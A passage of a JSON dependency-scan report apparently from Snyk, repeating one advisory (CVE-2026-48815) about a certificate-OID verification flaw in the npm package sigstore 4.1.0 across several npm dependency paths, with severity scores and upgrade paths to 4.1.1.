"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": 